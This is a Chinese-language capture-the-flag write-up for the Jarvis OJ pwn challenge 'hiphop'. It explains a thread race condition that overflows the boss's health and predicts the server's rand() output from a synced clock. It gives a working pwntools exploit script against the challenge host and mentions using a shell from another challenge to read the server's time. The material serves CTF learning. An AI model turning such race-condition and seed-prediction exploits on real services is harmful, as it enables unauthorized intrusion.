jarvis oj pwn hiphop writeup

这题真的感觉挺新颖的

首先说下这题的漏洞是什么

条件竞争!

一开始我看到这题是懵逼的,为什么好像常规的下标越界,缓冲区越界之类的都没有
然后其中一个功能又非常奇怪,要开线程?
然后看到这个函数里面某个地方一大堆sleep,于是就猜是条件竞争了

这题是打boss,然后每次都会随机一下出招,只要能预测出出招是什么就能防御
然后回想起以前打pwnable的一题,也是同样靠本地的时间与服务器时间相同,然后随机序列就可以预测出来了
于是我靠另外一题的shell来登上服务器,看了下时间,发现是标准utc时间,然后把本地的时区设成和服务器一样,时间也设一样

然后再说回来条件竞争
在看use_skill那个函数的时候发现一个非常可疑的地方
这里写图片描述
但是上面判断的时候是(QWORD*)
然后上面选择函数那里,只有两个技能是会sleep(1)的,那就是 fireball,icesword ,而iceword设的攻击就是0xFFFFFFFF,level4的boss血量是0x7FFFFFFFFFFFFFFE,只要加2,boss的血量就会变成负数,判断的那里就会判定boss死亡
所以首先是选择fireball,然后use_skill
这个时候会sleep(1),但是主线程还在跑,这个时候可以change_skill,选择iceword,再use_skill,这个时候fireball攻击的那个线程sleep结束,但是这个时候设的攻击是iceword的攻击,所以boss的血量就会+1,连续这样两次之后就能拿到flag了

ps:记得同步一下时间,我虚拟机时间迷之会越跑越慢。。。然后最好是在美国的vps上面跑,本地跑的话到条件竞争那里很可能会失败。。。

下面是payload
gen_rand.c

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
    int i;

    srand(time(0));

    for(i = 0; i < 1000; i ++)
    {
        int t=rand();
        printf("%d\n", t);
    }
    return 0;
}

hip.py

from pwn import *
import time
import os

debug=1
index=0

if debug:
    p=process('./hiphop')
    #gdb.attach(proc.pidof(p)[0])
    context.log_level='debug'
else:
    context.log_level='debug'
    p=remote('pwn2.jarvisoj.com', 9894)

rand_data=[int(i) for i in os.popen('./gen_rand')]

def deal(rand):
    if rand%4==0:
        return str(1)
    elif rand%4==1:
        return str(3)
    return str(2)

def use_skill(skill,rand_data,index,wait):
    p.sendline('2')
    if wait:
        #p.recvuntil('Boss')
        time.sleep(0.01)
    else:
        p.recvuntil('select shield')
        sleep(0.1)
    if skill==3 or skill==2:
        index+=1
    elif skill==7:
        index+=3
    p.sendline(deal(rand_data[index]))
    index+=1
    d=p.recvuntil('6. Exit\n')
    try:
        if(d.index('level:4')):
            print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
            return True,index
    except:
        pass
    return False,index

def change_skill(index):
    p.sendline('3')
    p.recvuntil('9. hollylight')
    #time.sleep(0.01)
    p.sendline(str(index))
    p.recvuntil('6. Exit')
    #time.sleep(0.01)

change_skill(3)

for i in range(100):
    l4,ind=use_skill(3,rand_data,index,True)
    index=ind
    if l4:
        break

for i in range(2):
    change_skill(2)
    l4,ind=use_skill(2,rand_data,index,False)
    index=ind
    if debug:
        sleep(0.6)
    change_skill(7)
    l4,ind=use_skill(7,rand_data,index,False)
    index=ind
    sleep(1)

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值